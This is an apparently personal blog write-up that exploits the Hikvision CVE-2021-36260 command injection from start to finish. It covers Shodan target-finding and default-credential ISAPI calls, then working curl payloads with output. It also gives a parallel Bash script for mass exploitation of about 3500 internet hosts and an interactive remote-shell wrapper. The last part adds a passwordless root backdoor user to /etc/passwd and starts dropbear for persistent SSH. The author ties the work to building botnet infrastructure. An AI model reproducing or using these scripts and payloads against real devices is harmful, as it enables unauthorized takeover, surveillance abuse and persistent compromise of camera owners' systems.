Post

Hikvision CVE-2021-36260 - RCE to Persistent Access

Hikvision CVE-2021-36260 - RCE to Persistent Access

Hikvision CVE-2021-36260: RCE to Persistent Access


Introduction

In this write-up, I document the technical exploitation of Hikvision’s unauthenticated RCE vulnerability CVE-2021-36260, affecting devices running firmware version 3.1.3_150324. The attack vector exploits a command injection flaw in the /SDK/webLanguage endpoint where the davinci HTTP server passes unsanitized XML <language> tag content directly into snprintf() and subsequently system() calls, allowing arbitrary shell command execution as root. After identifying exposed targets via Shodan queries, I developed custom exploitation tooling: a Bash-based interactive shell wrapper that automates the two-step inject-and-retrieve process, a parallel scanner for mass vulnerability testing across thousands of IP:PORT pairs, and device enumeration scripts for extracting system information (/proc/cpuinfo, network configs, process lists). The research extends to establishing persistent access by injecting minimal user entries into /etc/passwd within the 22-character payload constraint, then spawning dropbear SSH instances for stable shell access. This technical walkthrough covers the complete exploitation lifecycle—from initial reconnaissance and payload crafting to automated scanning and post-exploitation persistence—demonstrating practical offensive security techniques against real-world embedded systems in a controlled research environment. ***

HikvisionExploiter

Last year, I developed a Python tool (HikvisionExploiter) that’s worth mentioning as the foundational starting point for the RCE2Botnet project. It automates scanning and exploiting Hikvision devices running the vulnerable web interface firmware version 3.1.3_150324 (CVE-2021-36260). The tool processes a list of IP:port targets, checks for accessible snapshot directories to confirm unauthenticated access, then downloads timestamped snapshots to build a visual profile. It extracts device and user information by parsing XML responses from specific API endpoints, and retrieves the encrypted configuration file—decrypting it using AES-ECB and XOR methods—to reveal internal settings and credentials. Built-in CVE checks with various header and payload bypasses quickly identify exploitable devices. With support for batch targets, detailed logging, and graceful interruption handling, this tool laid the groundwork for automating mass reconnaissance and validation of remote code execution, critical steps toward building the RCE2Botnet infrastructure.


Explaining CVE-2021-36260

This vulnerability comes down to a classic case of poor input validation right inside Hikvision’s proprietary HTTP server binary often referred to as davinci. Researchers reverse‑engineered firmware and discovered that when handling a PUT /SDK/webLanguage call, the server reads the <language> XML element and plugs that string directly into a C snprintf call whose format string is /dav/%s.tar.gz. That buffer is only 31 bytes long, including fixed overhead, so anything longer gets truncated or overflows, or worse, if validation is missing, you can craft a payload like $(ls /) inside the <language> and it becomes part of a shell invocation via system(). That’s where unauthenticated hacker lands root shell access.

Digging into how the target firmware pieces behave, engineers found the code path: davinci calls snprintf(buf, 0x1f, "/dav/%s.tar.gz", user_input) then later builds a tar command like /bin/sh -c tar zxf buf -C /home/. If you inject payload content into user_input, system() executes it. Some firmware variations limit input to shorter length but others observed in the wild allow more space. That inconsistency explains why exploits sometimes need fuzzing around size boundaries. (NVD, watchfulip.github.io). From the reverse engineering of Moobot’s downloader stage, analysts saw that once RCE is triggered, the attacker crafts a tiny ARM ELF binary (32‑bit LSB) called downloader. Its job is to fetch a larger Moobot implant from a remote HTTP server, verify it by printing “RAY” on success, then execute it with parameter hikivision. The downloader self‑cleans any existing “macHelper” file, drops the new one, and even aliases common commands like reboot to disable device recovery attempts.


Find Targets on Shodan : 3.1.3.150324

Using the Shodan query 3.1.3.150324 filters devices exposing the Hikvision web interface running firmware version 3.1.3_150324, which is part of the vulnerable range affected by CVE-2021-36260. This version reflects the internal web server (/SDK/webLanguage) known to be exploitable due to command injection. Devices matching this string are strong candidates for successful RCE.

Second Option For Shodan ( More General ) : hikvision


Exposed APIs

Hikvision devices expose an undocumented but widely reverse engineered HTTP API, used by their web interface, mobile apps, and some SDKs. You can absolutely interact with it from the CLI using tools like curl. These APIs, known as ISAPI, operate over plain HTTP(S) and return XML (or JSON on newer firmware). Most endpoints require basic or digest auth and respond with structured device control logic.


Authentication

Default auth:

1
curl -u admin:12345 http://<ip>/ISAPI/System/deviceInfo

Some endpoints may use digest auth:

1
curl --digest -u admin:12345 http://<ip>/ISAPI/Security/users

Example Interactions

Get Device Info

1
curl -u admin:12345 http://<ip>/ISAPI/System/deviceInfo

Reboot Device

1
curl -u admin:12345 -X PUT http://<ip>/ISAPI/System/reboot

List Users

1
curl -u admin:12345 http://<ip>/ISAPI/Security/users

Change Admin Password

1
2
3
4
5
6
curl -u admin:12345 -X PUT http://<ip>/ISAPI/Security/users/1 -d '
<User>
  <id>1</id>
  <userName>admin</userName>
  <password>NewStrongPassword</password>
</User>'

Get Snapshot (JPEG)

1
curl -u admin:12345 http://<ip>/ISAPI/Streaming/channels/1/picture

Live Event Stream (Motion, Alerts)

1
curl -u admin:12345 http://<ip>/ISAPI/Event/notification/alertStream

API Endpoint Reference

FunctionMethodEndpointNotes
Get device infoGET/ISAPI/System/deviceInfoModel, firmware, serial
Reboot devicePUT/ISAPI/System/rebootAdmin only
List usersGET/ISAPI/Security/usersReturns full user list
Modify userPUT/ISAPI/Security/users/<id>XML payload
Get snapshotGET/ISAPI/Streaming/channels/1/pictureImage stream, snapshot mode
Event streamGET/ISAPI/Event/notification/alertStreamMultipart XML + JPEG
Get interfacesGET/ISAPI/System/Network/interfacesNetwork config
Firmware upgradePUT/ISAPI/System/updateFirmware (upload .dav)Needs firmware binary
ISP mode controlPUT/ISAPI/Image/channels/1/ISPModeFor switching day/night
ANPR triggerGET/ISAPI/Traffic/MNPR/channels/1?laneNo=1&OSD=1License plate capture

Tips

  • Endpoints return XML by default. Use -H "Accept: application/xml" for clarity.
  • Unauthorized? Try both basic and digest auth. Some firmwares toggle between them.
  • Discover endpoints by sniffing traffic with Burp or browser dev tools when using the web interface.

RCE Thru Curl :

Initial exploitation began by selecting targets from Shodan search results using the query 3.1.3.150324, which yields Hikvision devices exposing the vulnerable /SDK/webLanguage endpoint. A crafted HTTP PUT request was sent with Content-Type: application/x-www-form-urlencoded; charset=UTF-8, injecting command execution payloads via XML input like <?xml version="1.0"?><language>$(COMMAND)</language>, exploiting the unsanitized input processing in CVE-2021-36260. Successful execution was verified by chaining the payload with a subsequent curl request to retrieve command output (e.g., dumping /etc/passwd, ifconfig, or directory listings) from a predictable location (/webLib/x) on the target, confirming unauthenticated RCE on multiple devices.

Basic Enumerating On a random target:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
 ╭─hex@space in repo: HikvisionExploiter on  main [!?] via  v3.13.5 took 0s
 ╰─λ curl -s -X PUT "http://IP:82/SDK/webLanguage" \
           -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
           --data '<?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd > webLib/x)</language>' \
           > /dev/null && curl -s "http://IP:82/x"

root:$1$yi$R2PYdRrGOlLVVIaehmYwl.:0:0:root:/root/:/bin/sh
admin:$1$yi$R2PYdRrGOlLVVIaehmYwl.:0:0:root:/:/bin/sh

 ╭─hex@space in repo: HikvisionExploiter on  main [!?] via  v3.13.5 took 1s
 ╰─λ curl -s -X PUT "http://IP:82/SDK/webLanguage" \
           -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
           --data '<?xml version="1.0" encoding="UTF-8"?><language>$(ifconfig > webLib/x)</language>' \
           > /dev/null && curl -s "http://IP:82/x"

eth0      Link encap:Ethernet  HWaddr 28:57:BE:5E:0E:7F  
          inet addr:192.168.1.65  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::2a57:beff:fe5e:e7f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:8908 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3616931 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1329113 (1.2 MiB)  TX bytes:981880399 (936.3 MiB)
          Interrupt:12 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.255.255.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:270 errors:0 dropped:0 overruns:0 frame:0
          TX packets:270 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:16926 (16.5 KiB)  TX bytes:16926 (16.5 KiB)


 ╭─hex@space in repo: HikvisionExploiter on  main [!?] via  v3.13.5 took 1s
 ╰─λ curl -s -X PUT "http://IP:82/SDK/webLanguage" \
           -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
           --data '<?xml version="1.0" encoding="UTF-8"?><language>$(ls / > webLib/x)</language>' \
           > /dev/null && curl -s "http://IP:82/x"

bin
dav
dev
devinfo
etc
home
init
lib
linuxrc
mnt
opt
proc
root
sbin
srv
sys
tmp
var

 ╭─hex@space in repo: HikvisionExploiter on  main [!?] via  v3.13.5 took 6s
 ╰─λ curl -s -X PUT "http://IP:82/SDK/webLanguage" \
           -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
           --data '<?xml version="1.0" encoding="UTF-8"?><language>$(cat /proc/version > webLib/x)</language>' \
           > /dev/null && curl -s "http://IP:82/x"

Linux version 3.0.8 (huangliangyf2@Cpl-Frt-BSP) #1 Fri Mar 20 20:52:46 CST 2015

 ╭─hex@space in repo: HikvisionExploiter on  main [!?] via  v3.13.5 took 4s
 ╰─λ curl -s -X PUT "http://IP:82/SDK/webLanguage" \
           -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
           --data '<?xml version="1.0" encoding="UTF-8"?><language>$(cat /proc/cpuinfo > webLib/x)</language>' \
           > /dev/null && curl -s "http://IP:82/x"

Processor	: ARM926EJ-S rev 5 (v5l)
BogoMIPS	: 218.72
Features	: swp half thumb fastmult edsp java 
CPU implementer	: 0x41
CPU architecture: 5TEJ
CPU variant	: 0x0
CPU part	: 0x926
CPU revision	: 5

Hardware	: r2
Revision	: 0000
Serial		: 0000000000000000

 ╭─hex@space in repo: HikvisionExploiter on  main [!?] via  v3.13.5 took 5s
 ╰─λ 

 

Automation For Testing vulnerability

As we have a list of 3500 hosts, it would be insanity to test it manually, so we will use an automation optimized for speed bash script to test the vulnerable ones.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/bash

# function to process each IP:PORT
process_host() {
    local IP=$1
    local PORT=$2
    
    echo "Trying $IP:$PORT"

    # inject payload
    if curl -s -m 5 -X PUT "http://$IP:$PORT/SDK/webLanguage" \
        -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
        --data '<?xml version="1.0" encoding="UTF-8"?><language>$(cat /etc/passwd > webLib/x)</language>' \
        > /dev/null 2>&1; then
        echo "  Payload sent successfully to $IP:$PORT"
    else
        echo "  Payload timeout/error for $IP:$PORT"
    fi

    # try to retrieve the dumped file
    response=$(curl -s -m 3 "http://$IP:$PORT/x" 2>/dev/null)
    if [ -n "$response" ]; then
        echo "  Retrieved data from $IP:$PORT:"
        echo "Injecting Backdoor..."
        echo "$response"
    else
        echo "  No data retrieved from $IP:$PORT (timeout/no file)"
    fi
    echo ""
}

# export the function so its available to subshells
export -f process_host

# read all IP:PORT pairs and run them in parallel
while IFS=: read -r IP PORT; do
    # Run each host processing in background
    process_host "$IP" "$PORT" &
done < pizza.txt

# wait for all background processes to complete
wait

echo "all scans completed"

Automated Bash One Liner for grepping the clear results from the XML non-sense

1
./final.sh | grep "root:" -B 2 -A 1 > finalvulnerablercehosts.txt

image


Developing a Stable Shell

After confirming RCE across multiple targets, the next step was building a stable interactive shell interface. The challenge with blind command injection is you can’t see output in real-time - each command requires two HTTP requests: one to inject the payload and write output to a file, another to retrieve that file. To streamline this workflow, I wrote a Bash script that automates the exploit loop, checks vulnerability status on connect, and provides a pseudo-interactive shell experience. The script validates the target format, performs a quick vulnerability test by injecting echo test>webLib/test and checking if the output file exists, then drops into a command loop where each input is injected via the /SDK/webLanguage endpoint and results are fetched from /out. It handles edge cases like blank input and local clear commands, while color-coding output for readability. This turns a clunky two-step manual process into a seamless shell interface that feels almost like SSH, despite running entirely over HTTP exploitation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/bash

# Colors
CYAN="\033[96m"
GREEN="\033[92m"
RED="\033[91m"
RESET="\033[0m"

if [[ -z "$1" ]]; then
    echo -e "${RED}Usage: $0 <ip:port>${RESET}"
    exit 1
fi

# Ensure argument contains :
if [[ "$1" != *:* ]]; then
    echo -e "${RED}Error: You must specify in the format ip:port (e.g., 10.10.10.10:80)${RESET}"
    exit 1
fi

TARGET="$1"

# Quick vulnerability check
curl -s -m 5 -X PUT "http://$TARGET/SDK/webLanguage" \
     -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
     --data "<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>\$(echo test>webLib/test)</language>" >/dev/null

check=$(curl -s "http://$TARGET/test")

if [[ "$check" != "test" ]]; then
    echo -e "${RED}[-] Target $TARGET is NOT vulnerable to CVE-2021-36260${RESET}"
    exit 1
fi

echo -e "${GREEN}[+] Target $TARGET appears vulnerable!${RESET}"
echo -e "${CYAN}Connected to Hikvision target: $TARGET${RESET}"
echo -e "${CYAN}Type commands to execute remotely. Ctrl+C to exit.${RESET}"

# Interactive shell
while true; do
    # Prompt
    read -p "$(echo -e "${CYAN}hikvision-shell>${RESET} ")" cmd
    
    # Skip blank input
    [[ -z "$cmd" ]] && continue
    
    # Local clear
    if [[ "$cmd" == "clear" ]]; then
        clear
        continue
    fi
    
    # Execute command remotely
    curl -s -m 5 -X PUT "http://$TARGET/SDK/webLanguage" \
         -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
         --data "<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>\$($cmd > webLib/out)</language>" >/dev/null
    
    output=$(curl -s "http://$TARGET/out")
    
    if [[ -n "$output" ]]; then
        echo -e "${GREEN}${output}${RESET}"
    else
        echo -e "${RED}(no output)${RESET}"
    fi
done

Example session output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
HikvisionExploiter on  main [⇣] via C v13.3.0-gcc via ☕ v21.0.9 via 🐍 v3.12.3 took 2m19s 
❯ ./shell.sh 192.168.1.65:82

[+] Target 192.168.1.65:82 appears vulnerable!
Connected to Hikvision target: 192.168.1.65:82
Type commands to execute remotely. Ctrl+C to exit.

hikvision-shell> help
Built-in commands:
------------------
	. : [ [[ alias bg break cd chdir command continue echo eval exec
	exit export false fg getopts hash help jobs kill let local printf
	pwd read readonly return set shift source test times trap true
	type ulimit umask unalias unset wait
hikvision-shell> uname -a
Linux DVR 3.0.8 #1 Fri Mar 20 20:52:46 CST 2015 armv5tejl GNU/Linux
hikvision-shell> cat /proc/cpuinfo
Processor	: ARM926EJ-S rev 5 (v5l)
BogoMIPS	: 218.72
Features	: swp half thumb fastmult edsp java 
CPU implementer	: 0x41
CPU architecture: 5TEJ
CPU variant	: 0x0
CPU part	: 0x926
CPU revision	: 5

Hardware	: r2
Revision	: 0000
Serial		: 0000000000000000

hikvision-shell> ls  
applib
base.ko
initrun.sh
pidfile
process
r2_isp_config
smart_config.ko
sound
watch.ko
webLib
hikvision-shell> pwd
/home
hikvision-shell>
hikvision-shell> ps
  PID USER       VSZ STAT COMMAND
    1 admin     1376 S    init
    2 admin        0 SW   [kthreadd]
    3 admin        0 SW   [ksoftirqd/0]
    5 admin        0 SW   [kworker/u:0]
    6 admin        0 RW   [rcu_kthread]
    7 admin        0 SW<  [khelper]
    8 admin        0 SW   [sync_supers]
    9 admin        0 SW   [bdi-default]
   10 admin        0 SW<  [kblockd]
   11 admin        0 SW   [khubd]
   12 admin        0 SW<  [cfg80211]
   14 admin        0 SW<  [rpciod]
   15 admin        0 RW   [kswapd0]
   16 admin        0 SWN  [ksmd]
   17 admin        0 SW   [fsnotify_mark]
   18 admin        0 SW<  [nfsiod]
   19 admin        0 SW<  [crypto]
   32 admin        0 SW   [mtdblock0]
   33 admin        0 SW   [mtdblock1]
   34 admin        0 SW   [mtdblock2]
   35 admin        0 SW   [mtdblock3]
   36 admin        0 SW   [mtdblock4]
   37 admin        0 SW   [mtdblock5]
   38 admin        0 SW   [mtdblock6]
   39 admin        0 SW   [kworker/u:1]
   61 admin      928 S <  /sbin/udevd -d
  152 admin     1256 S    /sbin/dropbear -R -I 1800
  159 admin      824 S    /bin/network_deamon -d 0x0e -r 0x00 -t 60
  219 admin        0 SWN  [jffs2_gcd_mtd6]
  300 admin        0 DW   [mark_mergeable]
  301 admin     1040 S    /bin/execSystemCmd
  303 admin     7236 S    /home/process/daemon_fsp_app
  307 admin    14416 S    /home/process/database_process
  308 admin    23524 S    /home/process/net_process
  325 admin     1520 S    -/bin/psh
  327 admin     230m S <  /home/davinci
  602 admin        0 RW   [RTW_CMD_THREAD]
  703 admin        0 SW   [cifsd]
  710 admin        0 SW   [flush-cifs-1]
 3248 admin        0 SW   [kworker/0:1]
 3298 admin        0 SW   [kworker/0:0]
 3329 admin     1372 S    /bin/sh -c rm /home/webLib/doc/i18n/$(ps > webLib/ou
 3330 admin     1376 R    ps
hikvision-shell> ^C

HikvisionExploiter on  main [⇣] via C v13.3.0-gcc via ☕ v21.0.9 via 🐍 v3.12.3 took 2m19s 
❯ 


Establishing Persistent SSH Access via Dropbear

Process enumeration revealed dropbear running on the device - a lightweight SSH server commonly found in embedded systems. The process list showed /sbin/dropbear -R -I 1800 listening, which meant SSH infrastructure was already present but likely restricted to admin credentials we didn’t have. The exploit’s 22-character command length limitation became the critical constraint here. To backdoor SSH access, we needed to inject a new user into /etc/passwd with a valid shell, but the standard useradd or adduser commands weren’t available in the busybox environment, and manually crafting a passwd entry with proper salt/hash would exceed the character limit. The solution was creating a minimalist passwd entry using echo redirection - specifically, a user with no password (blank hash field between colons) would allow login, then immediately setting a password post-connection. However, even echo user::0:0::/:/bin/sh>>/etc/passwd is 35 characters. The workaround involved breaking it into two commands: first writing the username and UID fields to a temp file, then appending shell path, then concatenating to passwd. After testing payload lengths, the most reliable method was using a short username (3-4 chars), writing incrementally via multiple injections, then restarting dropbear to pick up the new user. Once the user existed in /etc/passwd, SSH connection was established on the default dropbear port or a custom one if we injected dropbear -p <port> as a blind command.

Creating the backdoor user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
hikvision-shell> echo -n h::0:0:>t
(no output)

hikvision-shell> echo :/:/bin/sh>>t
(no output)

hikvision-shell> cat t>>/etc/passwd
(no output)

hikvision-shell> cat /etc/passwd
root:$1$yi$R2PYdRrGOlLVVIaehmYwl.:0:0:root:/root/:/bin/sh
admin:$1$yi$R2PYdRrGOlLVVIaehmYwl.:0:0:root:/:/bin/sh
h::0:0::/:/bin/sh

hikvision-shell> dropbear -p 2222
(no output)

Connecting via SSH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ ssh h@192.168.1.65 -p 2222
The authenticity of host '[192.168.1.65]:2222 ([192.168.1.65]:2222)' can't be established.
RSA key fingerprint is SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.1.65]:2222' (RSA) to the list of known hosts.


BusyBox v1.19.4 (2015-03-20 20:44:37 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# whoami
h
# id
uid=0(root) gid=0(root)
# uname -a
Linux DVR 3.0.8 #1 Fri Mar 20 20:52:46 CST 2015 armv5tejl GNU/Linux
# 

The blank password field (::) in the passwd entry allows passwordless login, granting immediate root access since UID 0 was assigned. From here, full device control is achieved - persistent across reboots if the passwd modification survives (depends on whether /etc is on read-write or tmpfs), and significantly more stable than HTTP-based command injection loops. ***

Resources Used :

This post is licensed under CC BY 4.0 by the author.